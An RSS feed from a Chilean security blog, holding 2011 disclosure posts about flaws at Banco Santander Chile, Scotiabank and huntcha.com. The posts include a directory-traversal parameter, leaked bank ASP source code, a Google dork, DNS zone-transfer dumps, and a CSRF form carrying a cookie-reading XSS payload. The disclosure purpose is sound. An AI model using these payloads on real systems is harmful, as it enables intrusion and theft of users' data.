<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>El rincón de Zerial</title>
	<atom:link href="http://blog.zerial.org/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.zerial.org</link>
	<description>Informática, GNU/Linux, Seguridad, Hacking, Programación, Ocio</description>
	<lastBuildDate>Tue, 03 Jan 2012 00:13:53 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Vulnerabilidad en las cuentas PAC/PAT y reacciones del Santander</title>
		<link>http://blog.zerial.org/seguridad/vulnerabilidad-en-las-cuentas-pacpat-y-reacciones-del-santander/</link>
		<comments>http://blog.zerial.org/seguridad/vulnerabilidad-en-las-cuentas-pacpat-y-reacciones-del-santander/#comments</comments>
		<pubDate>Fri, 30 Dec 2011 12:23:12 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Interes general]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[banco]]></category>
		<category><![CDATA[banco santander]]></category>
		<category><![CDATA[santander]]></category>
		<category><![CDATA[vulnerabilidades]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2881</guid>
		<description><![CDATA[Despues del ultimo post relacionado con la vulnerabilidad que permitia acceder al código fuente del sistema, hubo distintos tipos de reacciones por parte de los usuarios y de las empresas involucradas. Otras vulnerabilidades comenzaron a ver la luz, como por ejemplo la que afecta al sistema de asignación/modificación de los pagos automaticos de cuentas (pat/pac), [...]]]></description>
			<content:encoded><![CDATA[<p>Despues del ultimo post relacionado con la vulnerabilidad que permitia acceder al código fuente del sistema, hubo distintos tipos de reacciones por parte de los usuarios y de las empresas involucradas.</p>
<p>Otras vulnerabilidades comenzaron a ver la luz, como por ejemplo la que afecta al sistema de asignación/modificación de los pagos automaticos de cuentas (pat/pac), que permite asignar pagos automaticos a terceras personas, sin previa confirmación. De esta forma, Juanito Perez, puede asignar el pago automatico de la cuenta de luz, agua, movil u otro a Pedrito, sin su autorización.</p>
<p>Varias personas se contactaron conmigo y me comentaban que habian enviado un reclamo a su ejecutivo de cuentas, para tener una respuesta formal y seria respecto a estas vulnerabilidades reportadas. Una de ella me llamo la atención, corresponde a <strong><a href="http://twitter.com/Van_ultraviolet">@Van_ultraviolet</a></strong>, que le respondieron:</p>
<ul>
<li>Es una persona que necesita mucha atención, por eso hace esto.</li>
<li>Cualquier persona puede acceder al código fuente.</li>
<li>Revisamos las alertas del <strong>pseudo-hacker</strong> y no son reales.</li>
</ul>
<p>Pueden ver a respuesta completa aca: <a href="http://twitter.theinfo.org/152376559511142400">http://twitter.theinfo.org/152376559511142400</a></p>
<p>Considero que esto es <strong>impresentable</strong> y que la persona que entregó esa respuesta debería pensar seriamente en dejar de ejercer su profesión.</p>
<p>Por otro lado, una de las empresas responsables se contactó conmigo y hemos creado un canal de comunicación para el reporte de vulnerabilidades. Ellos admitieron el fallo del <em>Source Code Disclosure</em> y tambien la vulnerabilidad PAT/PAC, indicando que ya está corregida en su entorno de desarrollo, sólo falta ponerla en producción.</p>
<p>El banco no ha respondido publicamente sobre el asunto, el &#8220;canal web&#8221; y el llamado &#8220;Community Manager&#8221; que maneja la cuenta de Twitter (<a href="http://twitter.com/santanderchile">@SantanderChile</a>), tampoco se pronuncia al respecto, apesar de las insistentes quejas y reclamos de sus clientes.</p>
<p>Como conclusión, hay 3 empresas involucradas:</p>
<ol>
<li>Santander: La entidad afectada, el Banco.</li>
<li>TAISA Chile: Una de las empresas involucrada en el desarrollo del sistema.</li>
<li>NEOSECURE: Segun los comentarios del post anterior y segun la información que me llegaba por correo, twitter, etc, es la empresa que ve la &#8220;seguridad&#8221; del Banco, es decir, es la &#8220;empresa lider en seguridad informatica&#8221; que audita periodicamente los sistemas del santander, <a href="http://www.santander.cl/campanas/aviso_seguridad_b/index.asp?o=emp_melat">según ellos; Aviso de seguridad Santander</a>.</li>
</ol>
<p>De estas tres empresas involucradas, la uinca que se ha hecho responsable y ha dado la cara, es TAISA, quien ha reaccionado bastante bien, agradecida y con ganas de crear un canal de comunicación para este tipo de incidentes. Ademas, han reaccionado bastante rapido despues de que se hizo la publicación.</p>
<p>Ustedes juzguen.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/vulnerabilidad-en-las-cuentas-pacpat-y-reacciones-del-santander/feed/</wfw:commentRss>
		<slash:comments>16</slash:comments>
		</item>
		<item>
		<title>Acceso al codigo fuente del Banco Santander Chile</title>
		<link>http://blog.zerial.org/seguridad/acceso-al-codigo-fuente-del-banco-santander-chile/</link>
		<comments>http://blog.zerial.org/seguridad/acceso-al-codigo-fuente-del-banco-santander-chile/#comments</comments>
		<pubDate>Tue, 27 Dec 2011 17:00:40 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Interes general]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[banco santander]]></category>
		<category><![CDATA[bancos]]></category>
		<category><![CDATA[inseguridad]]></category>
		<category><![CDATA[lfi]]></category>
		<category><![CDATA[local file include]]></category>
		<category><![CDATA[santander]]></category>
		<category><![CDATA[sitios vulnerables]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2868</guid>
		<description><![CDATA[Ya he publicado algunas vulnerabilidad que afectan a los clientes del Santander, esta vez escribiré sobre una vulnerabilidad que afecta directamente al Banco y que permite al atacante obtener el codigo fuente de la banca. El atacante puede navegar por los directorios en busca de los archivos &#8220;asp&#8221; y descargar el archivo, teniendo acceso al [...]]]></description>
			<content:encoded><![CDATA[<p>Ya he publicado algunas vulnerabilidad que afectan a los clientes del Santander, esta vez escribiré sobre una vulnerabilidad que afecta directamente al Banco y que permite al atacante obtener el codigo fuente de la banca. El atacante puede navegar por los directorios en busca de los archivos &#8220;asp&#8221; y descargar el archivo, teniendo acceso al codigo fuente del sistema.</p>
<p>Se trata de una vulnerabilidad <strong>Local File Include</strong> +<strong> Directory Traversal</strong> = <strong>Source Code Disclosure</strong>, solo debemos modificar el valor de una variable de la URL para obtener el archivo que necesitemos. Se trata de un fallo basico e irresponsable que ningun alto estandar de seguridad permite.</p>
<p>Lo curioso es que segun el <a href="http://www.santander.cl/campanas/aviso_seguridad_b/index.asp?o=emp_melat">aviso de seguridad oficial del banco santander</a>, hay una empresa &#8220;lider&#8221; en seguridad informática que les hace auditoría periodica:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/12/avisoseg.png"><img class="aligncenter size-full wp-image-2869" title="avisoseg" src="http://blog.zerial.org/wp-content/uploads/2011/12/avisoseg.png" alt="" width="529" height="220" /></a></p>
<p>Cierto, parece un chiste.<br />
<span id="more-2868"></span></p>
<p>La vulnerabilidad está presente en el archivo &#8220;VerRentabilidad.asp&#8221;, que sirve para ver la rentabilidad de &#8220;algo&#8221;. El archivo necesita que se le entregue una variable &#8220;Numero&#8221;, al cual debemos pasarle especificamente un archivo y será descargado.<br />
Al ver el código fuente de ese archivo, podemos ver que no tiene ningun tipo de validación al momento de realizar la descarga</p>
<pre name="code" class="c">
        nombrePDF=Request("Numero")
        Archivo= "\Rentabilidad" &#038; nombrePDF
        ruta=SERVER.MapPath("/transa/productos/fm") &#038; Archivo
        'Response.Write ruta
        'Response.End
        if not ValidaArchivo(ruta) then
                Response.Redirect("InvMostrarError.asp?tipo=F")
        else
                objStream.Type = 1 'adtypeBinary
                objStream.Open
                objStream.LoadFromFile(ruta)
                Response.contentType="application/pdf"
                Response.AddHeader "content-disposition", "inline;filename=" &#038; nombrePDF
                Response.BinaryWrite objStream.Read
                Response.Flush
                ObjStream.Close
                set objStream=nothing

        end if
</pre>
<p>En la línea 01 almacena en la variable &#8220;nombrePDF&#8221; el valor que le entegamos por URL mediante la variable &#8220;Numero&#8221;, en la variable 06 podemos ver una validación que claramente no funciona o bien no es suficiente, por lo que se ejecutan las lineas siguientes, iniciando la descarga del archivo por el lado del cliente.</p>
<p>Explotando esta vulnerabilidad podemos navegar por los directorios, obtener el listado de archivos, realizar descargas arbitrarias, etc.</p>
<p>Conociendo el arbol de directorios, ya podemos comenzar a descargar uno por uno los archivos de sistema</p>
<blockquote><p>transa/<br />
transa/ErrorDB/<br />
transa/DHS/<br />
transa/solicitud/<br />
transa/include/<br />
transa/Productos/<br />
transa/Productos/include/<br />
transa/preerror.asp<br />
transa/logteclado.asp<br />
transa/FuncBanco.asp<br />
transa/common.asp<br />
transa/cruce.asp<br />
transa/ErrorDB/LogHOB.asp<br />
transa/DHS/Constantes.asp<br />
transa/DHS/DHSFuncs.asp<br />
transa/solicitud/constantes_campana.asp<br />
transa/include/ReadWriteSesion.asp<br />
transa/include/TrampHBFC.asp<br />
transa/include/prodini.asp<br />
transa/Productos/include/ProdMenu.asp</p></blockquote>
<p>Por ejemplo, <strong>ReadWriteSesion.asp</strong>:</p>
<pre name="code" class="c">
ub EscribirArchivo(NameArr, Objeto, URL)
	Dim fecha, path_archivo, linea
	Dim fs, Fd

	Application.lock
	fecha = year(now()) &#038; right("00"&#038;month(now()),2) &#038; right("00"&#038;day(now()),2)
	path_archivo = left(Application("PATHINICONECT"),7) &#038; "ErrorEstComp" &#038; NameArr &#038; fecha &#038; ".txt"
	Linea = "	URL = " &#038; URL
	Linea = Linea &#038; "	Detalle = " &#038; Objeto
	linea = fecha&#038;";"&#038; TimeValue(now()) &#038;";" &#038; linea
	Set fs = CreateObject("Scripting.FileSystemObject")
	Set fd = fs.OpenTextFile(path_archivo, 8, True, False)
	fd.WriteLine(linea)
	fd.close
	set fs = nothing
    Application.unlock

End Sub

Sub ProblemaTecnico

	session("CARPETACLIENTE") = ""
	session("rut") = ""
	session("dig") = ""

[...]
Function NomSession(Param)
' Compatibiliza Nombres de session antiguos por nuevos
Dim RealParam
Select Case UCase(Param)
   Case UCase("APaternoPNJPE07"): RealParam = "ApellidoPaterno"
   Case UCase("AMaternoPNJPE07"): RealParam = "ApellidoMaterno"
   Case UCase("NombresPNJPE07"): RealParam = "Nombres"
   Case UCase("subsegmento"): RealParam = "Segmento/subsegmento"
   Case UCase("MwPeCodCar"): RealParam = "Segmento/MwPeCodCar"
   Case UCase("nom_seg"): RealParam = "Segmento/NombreSegmento"
   Case UCase("clasificadas"): RealParam = "cla"
   Case UCase("IDLogin"): RealParam = "IDL"
   Case UCase("webmatico"): RealParam = "wbmat"
   Case UCase("OpcTef"): RealParam = "TipoTef"
   Case UCase("TipoURL"): RealParam = "Tipo"
   Case UCase("Op_campana"): RealParam = "Op_camp"
   Case UCase("Url_campana"): RealParam = "Url_camp"
   Case UCase("rut"): RealParam = "RUT"
   Case Else
    RealParam = Param
End Select
NomSession = RealParam
End function
</pre>
<p>Otor ejemplo, el archivo <strong>cruce.asp</strong>:</p>
<pre name="code" class="c">
'****************************
'* Manejo de webmatico
'****************************

EsWebMatico = request.Cookies("webmatico")

if (TRIM(LCASE(EsWebMatico))="si" and Ucase(login) <> "BANCOSANTANDER" and Ucase(login) <> "SANTIAGOEXPRESS") then
        path_inicio = "webkio/bcolinea.asp"
        path_sinper = "../mensaje.htm"
        path_error  = "preerror.asp"
        path_cclave = "/transa/Cclave/fclave.asp"
        path_producto = "productos.asp"
        EsWebMatico = "si"
else
        path_inicio = SECWEBNAME &#038; "/transa/partida.asp"
        path_sinper = SECWEBNAME &#038; "/transa/sinpersona.htm"
        path_error  = "preerror.asp"
        path_cclave = "/transa/Cclave/fclave.asp"
        path_producto = "productos.asp"
        EsWebMatico = "no"
end if

'******** fin webmatico *********

'****************************************************************************
'*** Obtiene Rut y Ping del Cliente             *************************************
'****************************************************************************
  rut= ucase(trim(Request.Form("rut")))                          'recibe el rut
  pin= trim(Request.Form("pin"))                                 'recibe el pin
  utv= trim(Request.Form("usateclado"))                          'recibe el uso de teclado virtual
  ven= trim(Request.Form("dondeentro"))
  rslAlto= trim(Request.Form("rslAlto"))                            'resolución pantalla browser del cliente
  rslAncho= trim(Request.Form("rslAncho"))                          'resolución pantalla browser del cliente

  state = 0
  if rut <> "" then
    state = verificador(rut)                                'revisa el digito verificador
  end if
'****************************************************************************

  If rut <> "" and pin <> "" and state = 0 and len(pin) = 4 then         'Si esta todo bien

                '**************************************************************************
                '**** Consulta si Cliente si Esta Bloqueado por 60 Minutos      ***************
                '**************************************************************************
</pre>
<p>Segun lo que podemos leer en los comentarios del codigo fuente, corresponde a un desarrollo del año 2006, estamos casi en el 2012. El Banco Santander, ademas de mentirle a sus clientes y usuarios diciendoles que es un sitio seguro, fue denominado como el <a href="http://www.santander.cl/campanas/pi_mejor_banco/index.asp?o=ebinf">sistema de banco mas seguro de latinoamerica</a>.</p>
<p>A todas las personas que lean este artículo:<br />
- El banco santander NO es el mas seguro, probablemente sea el mas inseguro.<br />
- Una falla de seguridad de este tipo no puede ser permitida, es una vulnerabilidad demasiado CRITICA como para que un banco la tenga presente.<br />
- El Banco no implementa las mejores ni las ultimas tecnologias, tampoco implementa los ultimos estandares de seguridad. Usan tecnologias obsoletas y poco robustas.<br />
- Esta es una vulnerabilidad que afecta al banco y que podria eventualmente afectar a TODOS sus clientes. El atacante que acceda a informacion como el codigo fuente de un sistema, probablemente pueda acceder a otro tipo de informacion.<br />
- No es la unica vulnerabilidad que existe en este banco, ya he hecho publicar por lo menos 4 otras.<br />
- Que el banco tenga un certificado de un millon de bits, no lo hace mas seguro.</p>
<p>A los encargados de seguridad de los bancos u otras entidades:<br />
- La seguridad no es unicamente enviar emails y dar consejos tipo &#8220;no abras links&#8221;<br />
- La seguridad de tu institucion no depende de un certificado SSL.</p>
<p>Los encargados de seguridad de este banco no pueden hacer oidos sordos a este tipo de anuncios, son vulnerabilidades presentes hace mas de 1 año. Pesonalmente llevo mas de 1 año intentando reportar por distintos medios este tipo de fallas. Es una falta de respeto hacia los clientes.<br />
Ademas, la vulnerabilidad está indexada por Google, hagan la siguiente busqueda:<br />
<a href="http://www.google.cl/search?q=site%3Asantander.cl+inurl%3AVerRentabilidad&#038;ie=utf-8&#038;oe=utf-8&#038;aq=t&#038;rls=org.mozilla:en-US:official"><strong>site:santander.cl inurl:VerRentabilidad</strong></a><br />
No es necesario estar logueado en el sistema para poder explotarla.</p>
<p>Solo me queda una pregunta&#8230; <strong>¿Cual será esa empresa LIDER en seguridad informática que audita el sistema del Santander?</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/acceso-al-codigo-fuente-del-banco-santander-chile/feed/</wfw:commentRss>
		<slash:comments>65</slash:comments>
		</item>
		<item>
		<title>Transferencia de Zona en los DNS de Scotiabank</title>
		<link>http://blog.zerial.org/seguridad/transferencia-de-zona-en-los-dns-de-scotiabank/</link>
		<comments>http://blog.zerial.org/seguridad/transferencia-de-zona-en-los-dns-de-scotiabank/#comments</comments>
		<pubDate>Mon, 19 Dec 2011 22:12:09 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[axfr]]></category>
		<category><![CDATA[banco del desarrollo]]></category>
		<category><![CDATA[bancos]]></category>
		<category><![CDATA[chile]]></category>
		<category><![CDATA[dns]]></category>
		<category><![CDATA[scotiabank]]></category>
		<category><![CDATA[transferencia de zona]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2843</guid>
		<description><![CDATA[Hace un tiempo escribí sobre las vulnerabilidades AXFR, tambien publiqué un script que nos ayuda a buscar dns que tengan esta configuración. Los bancos no solo tienen vulnerabilidades web, tambien tienen servicios que se encuentran mal configurados, como es el caso de Scotiabank, que tiene los servicios DNS configurados de forma tal que permiten a [...]]]></description>
			<content:encoded><![CDATA[<p>Hace un tiempo escribí sobre las <a href="http://blog.zerial.org/seguridad/axfr-una-vulnerabilidad-que-pasa-desapercibida/">vulnerabilidades AXFR</a>, tambien <a href="http://blog.zerial.org/seguridad/busqueda-de-servicios-dns-con-transferencia-de-zona-abierta-axfr/">publiqué un script</a> que nos ayuda a buscar dns que tengan esta configuración.</p>
<p>Los bancos no solo tienen vulnerabilidades web, tambien tienen servicios que se encuentran mal configurados, como es el caso de Scotiabank, que tiene los servicios DNS configurados de forma tal que permiten a cualquier persona poder actuar como servidor secundario y transferir las zonas.<br />
El DNS que tiene los problemas es el secundario, <strong>ns2.scotiabank.cl</strong>. Si intentamos transferir las zonas desde el secundario, obtenemos los subdominios asociados a scotiabank.cl:</p>
<blockquote><p>scotiabank.cl.        3600    IN    SOA    fw-ext.scotiabank.cl. webmaster.scotiabank.cl. 2011110401 3600 3600 1857600 8400<br />
scotiabank.cl.        3600    IN    NS    ns2.scotiabank.cl.<br />
scotiabank.cl.        3600    IN    NS    fw-ext.scotiabank.cl.<br />
scotiabank.cl.        3600    IN    A    200.14.209.97<br />
scotiabank.cl.        3600    IN    MX    10 smexstsip11.scotiabank.com.mx.<br />
scotiabank.cl.        3600    IN    MX    10 smexstsip21.scotiabank.com.mx.<br />
scotiabank.cl.        3600    IN    MX    10 smexstsip31.scotiabank.com.mx.<br />
scotiabank.cl.        3600    IN    TXT    &#8221;v=spf1 a mx ip4:168.165.13.0/24 include:spf.masterbase.com ~all&#8221;<br />
alteon1.scotiabank.cl.    3600    IN    A    200.14.209.101<br />
alteon2.scotiabank.cl.    3600    IN    A    200.55.208.27<br />
corporate.scotiabank.cl. 3600    IN    CNAME    sdol.mastercard.com.<br />
fw-ext.scotiabank.cl.    3600    IN    A    200.14.209.97<br />
gslb.scotiabank.cl.    600    IN    NS    alteon1.scotiabank.cl.<br />
gslb.scotiabank.cl.    600    IN    NS    alteon2.scotiabank.cl.<br />
ns2.scotiabank.cl.    3600    IN    A    200.55.208.26<br />
smexstsip11.scotiabank.cl. 600    IN    A    168.165.13.70<br />
smexstsip21.scotiabank.cl. 600    IN    A    168.165.13.73<br />
smexstsip31.scotiabank.cl. 600    IN    A    168.165.13.76<br />
www.scotiabank.cl.    600    IN    CNAME    www.gslb.scotiabank.cl.<br />
scotiabank.cl.        3600    IN    SOA    fw-ext.scotiabank.cl. webmaster.scotiabank.cl. 2011110401 3600 3600 1857600 8400<br />
;; Query time: 44 msec</p></blockquote>
<p>Y todos los dominios que esten usando a ns2.scotiabank.cl como dns, tambien seran vulnerables a este tipo de ataque, por ejemplo, el Banco del Desarrollo:</p>
<blockquote><p>bdd.cl.            3600    IN    SOA    fw-ext.scotiabank.cl. webmaster.scotiabank.cl. 2011110401 3600 3600 1857600 8400<br />
bdd.cl.            3600    IN    NS    ns2.scotiabank.cl.<br />
bdd.cl.            3600    IN    NS    fw-ext.scotiabank.cl.<br />
bdd.cl.            3600    IN    A    200.14.209.97<br />
bdd.cl.            3600    IN    MX    10 smexstsip11.scotiabank.com.mx.<br />
bdd.cl.            3600    IN    MX    10 smexstsip21.scotiabank.com.mx.<br />
bdd.cl.            3600    IN    MX    10 smexstsip31.scotiabank.com.mx.<br />
bdd.cl.            3600    IN    TXT    &#8221;v=spf1 ip4:168.165.13.0/24 ~all&#8221;<br />
alteon1.bdd.cl.        3600    IN    A    200.14.209.101<br />
alteon2.bdd.cl.        3600    IN    A    200.55.208.27<br />
fw-ext.bdd.cl.        3600    IN    A    200.14.209.97<br />
gslb.bdd.cl.        600    IN    NS    alteon1.bdd.cl.<br />
gslb.bdd.cl.        600    IN    NS    alteon2.bdd.cl.<br />
ns2.bdd.cl.        3600    IN    A    200.55.208.26<br />
smexstsip11.bdd.cl.    600    IN    A    168.165.13.70<br />
smexstsip21.bdd.cl.    600    IN    A    168.165.13.73<br />
smexstsip31.bdd.cl.    600    IN    A    168.165.13.76<br />
www.bdd.cl.        300    IN    CNAME    www.gslb.bdd.cl.<br />
bdd.cl.            3600    IN    SOA    fw-ext.scotiabank.cl. webmaster.scotiabank.cl. 2011110401 3600 3600 1857600 8400<br />
;; Query time: 37 msec</p></blockquote>
<p>Como es de costumbre, los bancos no tienen procedimientos ni forma para contactar a los responsables.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/transferencia-de-zona-en-los-dns-de-scotiabank/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Fallos de seguridad en Huntcha.com</title>
		<link>http://blog.zerial.org/seguridad/fallos-de-seguridad-en-huntcha-com/</link>
		<comments>http://blog.zerial.org/seguridad/fallos-de-seguridad-en-huntcha-com/#comments</comments>
		<pubDate>Fri, 09 Dec 2011 02:47:01 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Interes general]]></category>
		<category><![CDATA[Privacidad]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[cross-site request forgery]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[csrf]]></category>
		<category><![CDATA[privacidad]]></category>
		<category><![CDATA[sitios vulnerables]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2845</guid>
		<description><![CDATA[Huntcha.com es un sistema hecho para &#8220;encontrar a tu amor secreto&#8221;, ingresas tus datos, registras a tu amor secreto y si tu amor secreto te agrega a ti, entonces el sistema detecta esa coincidencia y te da la alerta. Por lo tanto, ingresando a la cuanta de algun usuario es posible saber quienes son &#8220;los [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.zerial.org/wp-content/uploads/2011/12/huntchalogo.png"><img class="aligncenter size-full wp-image-2846" title="huntchalogo" src="http://blog.zerial.org/wp-content/uploads/2011/12/huntchalogo.png" alt="" width="213" height="65" /></a>Huntcha.com es un sistema hecho para &#8220;encontrar a tu amor secreto&#8221;, ingresas tus datos, registras a tu amor secreto y si tu amor secreto te agrega a ti, entonces el sistema detecta esa coincidencia y te da la alerta. Por lo tanto, ingresando a la cuanta de algun usuario es posible saber quienes son &#8220;los amores secretos&#8221; de esa persona. Si esta persona está emparejada y está casado, se podría armar un lio mas o menos.</p>
<p>Según los Términos y Condiciones, respecto a la privacidad y protección de datos, podemos leer:</p>
<blockquote><p><strong>Política de Privacidad</strong></p>
<p>En virtud de la Ley N°19.628 sobre Protección de la Vida Privada, la  empresa respeta el deber de proteger los datos de carácter privado y  personales de los usuarios, no dando acceso a ellos al público a menos  que el propio usuario los de a conocer, por medio de la página web bajo  su consentimiento, no pudiendo hacer responsable a la empresa por la  información que el mismo entregue. La empresa se compromete a cuidar la seguridad de los datos personales  tomando todas las medidas necesarias para esto, a fin de evitar la  pérdida, mal uso o cualquier apropiación indebida de estos mismos.</p></blockquote>
<p>Lo que más me llama la atención es que segun ellos, son <a href="https://twitter.com/#!/huntcha_com/status/140430867058266112">100% privados y seguros</a>:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/12/seguroyprivado.png"><img class="aligncenter size-full wp-image-2847" title="seguroyprivado" src="http://blog.zerial.org/wp-content/uploads/2011/12/seguroyprivado.png" alt="" width="548" height="216" /></a></p>
<p>Dicen tener más de 20 mil usuarios, por lo que asegurar que los datos de esos 20 mil están 100% seguros y privados, es un poco irresponsable. Todos sabemos que la seguridad y la privacidad al 100% <strong>no existe</strong>.</p>
<p>He encontrado algunas vulnerabilidades en este sistema que puede permitir a un atacante obtener información de los usuarios que se encuentran autentificados. Explotando estas vulnerabilidades el atacante podría perfectamente suplantar la identidad de la persona o de su amor platónico.</p>
<p>Las vulnerabilidades son <strong>Cross-Site Request Forgery</strong> (CSRF) y <strong>Cross-Site Scripting</strong> (XSS), combinandolas se puede explotar una funcionalidad que tiene el portal para enviar correos a &#8220;tus amigos&#8221; para invitarlos al portal, pudiendo modificar el mensaje y el destinatario. Además, no es necesario estar autentificado para poder explotar este fallo.</p>
<p><span id="more-2845"></span></p>
<p>Uno de los XSS detectados está en la página de error, cuando no encuentra el &#8220;módulo&#8221;</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/12/xss1.png"><img class="aligncenter size-full wp-image-2850" title="xss1" src="http://blog.zerial.org/wp-content/uploads/2011/12/xss1.png" alt="" width="568" height="350" /></a></p>
<p>El segundo Cross-Site Scripting, lo encontré al momento de configurar el &#8220;Boss-Mode&#8221;</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/12/xss2.png"><img class="aligncenter size-full wp-image-2851" title="xss2" src="http://blog.zerial.org/wp-content/uploads/2011/12/xss2.png" alt="" width="565" height="508" /></a></p>
<p>Dentro del sistema, existe la función para que los usuarios puedan invitar a otras personas a participar de la red, mediante un &#8220;mensaje&#8221; enviado por correo electrónico desde el sistema huntcha. Esta función, no valida el Token de seguridad del formulario, pudiendo realizar post desde sitios externos (CSRF).</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/12/mail_form1.png"><img class="aligncenter size-full wp-image-2852" title="mail_form1" src="http://blog.zerial.org/wp-content/uploads/2011/12/mail_form1.png" alt="" width="570" height="517" /></a></p>
<p>Si falsificamos ese formulario y lo corremos de forma local, con un simple html:</p>
<blockquote><p>&lt;form method=post action=http://www.huntcha.com/?c=app&amp;m=send_invitation&gt;<br />
Token Falso: &lt;input type=text name=csrf_huntcha_token value=5ca3fb36f6d005e01d53b02ce9fd4391&gt;&lt;br&gt;<br />
Nombre: &lt;input type=text name=name value=&#8221;AAA&#8221;&gt;&lt;br&gt;<br />
Destino: &lt;input type=text name=mail value=panic@zerial.org&gt;&lt;br&gt;<br />
Mensaje: &lt;input type=text name=message value=&#8221;hola&lt;a href=&#8217;http://www.huntcha.com/?c=index&amp;m=bossmode_denied&amp;url=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3Ehttp://www.google.cl&#8217;&gt;AAA&lt;/a&gt;&#8221;&gt;&lt;br&gt;<br />
&lt;input type=submit&gt;<br />
&lt;/form&gt;</p></blockquote>
<p>El formulario nos quedaría de la siguiente forma:<br />
<a href="http://blog.zerial.org/wp-content/uploads/2011/12/mail_form_poc1.png"><img class="aligncenter size-full wp-image-2856" title="mail_form_poc1" src="http://blog.zerial.org/wp-content/uploads/2011/12/mail_form_poc1.png" alt="" width="310" height="115" /></a></p>
<p>Cuando le damos a &#8220;Submit query&#8221;, al atacante le llegará un mensaje  con un link hacia un XSS dentro de Huntcha, si la victima tiene la sesión iniciada, podriamos enviar los datos de sesión a un servidor remoto, o bien obligar al usuario (sin que se de cuenta) a hacer request al huntcha.com (aprovechando que no validan los security tokens) y obtener información de si mismo, para enviarlo a un servidor remoto. El atacante lo unico que debe hacer es construir un javascript malicioso que permita robar la información necesaria, generar un mensaje llamativo y hacer uso de este metodo para enviar correos.</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/12/mail_form_poc3.png"><img class="aligncenter size-full wp-image-2858" title="mail_form_poc3" src="http://blog.zerial.org/wp-content/uploads/2011/12/mail_form_poc3.png" alt="" width="534" height="391" /></a>En esta imagen pueden ver el correo que me llego, con el link malicioso. Cuando la víctima haga click en ese link, se ejecutará en su navegador el código javascript incrustado por el atacante, sin que se de cuenta.</p>
<p>La moraleja es que los usuarios deben ser un poco mas cuidadosos al momento de entregar información sensible a <strong>cualquier</strong> portal o sitio web. Hoy en día <strong>todas</strong> las empresas, portales, foros, redes sociales o lo que sea, dicen ser seguros, pero ya conocen la realidad.</p>
<p>El staff de Huntcha ya fue notificado de estas vulnerabilidades y se están trabajando en solucionarlas.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/fallos-de-seguridad-en-huntcha-com/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Robo de credenciales y suplantación de identidad en sitio web del Registro Civil</title>
		<link>http://blog.zerial.org/seguridad/robo-de-credenciales-y-suplantacion-de-identidad-en-sitio-web-del-registro-civil/</link>
		<comments>http://blog.zerial.org/seguridad/robo-de-credenciales-y-suplantacion-de-identidad-en-sitio-web-del-registro-civil/#comments</comments>
		<pubDate>Wed, 30 Nov 2011 12:20:01 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Interes general]]></category>
		<category><![CDATA[Privacidad]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[chile]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[gobierno]]></category>
		<category><![CDATA[prueba de concepto]]></category>
		<category><![CDATA[registro civil]]></category>
		<category><![CDATA[robo de credenciales]]></category>
		<category><![CDATA[robo de identidad]]></category>
		<category><![CDATA[session hijacking]]></category>
		<category><![CDATA[sitios vulnerables]]></category>
		<category><![CDATA[sitios web vulnerables]]></category>
		<category><![CDATA[vulnerabilidad]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2815</guid>
		<description><![CDATA[Hace un par de semanas fueron reportadas en Secureless 2 vulnerabilidades Cross-Site Scripting (XSS) que afectaban al sitio web del Registro Civil en Chile, tambien fueron reportadas mediante el grupo de respuesta ante incidentes (CSIRT) del Ministerio del Interior, quienes ellos mismos se acercaron a mi luego de la charla de la Computer Security Conference [...]]]></description>
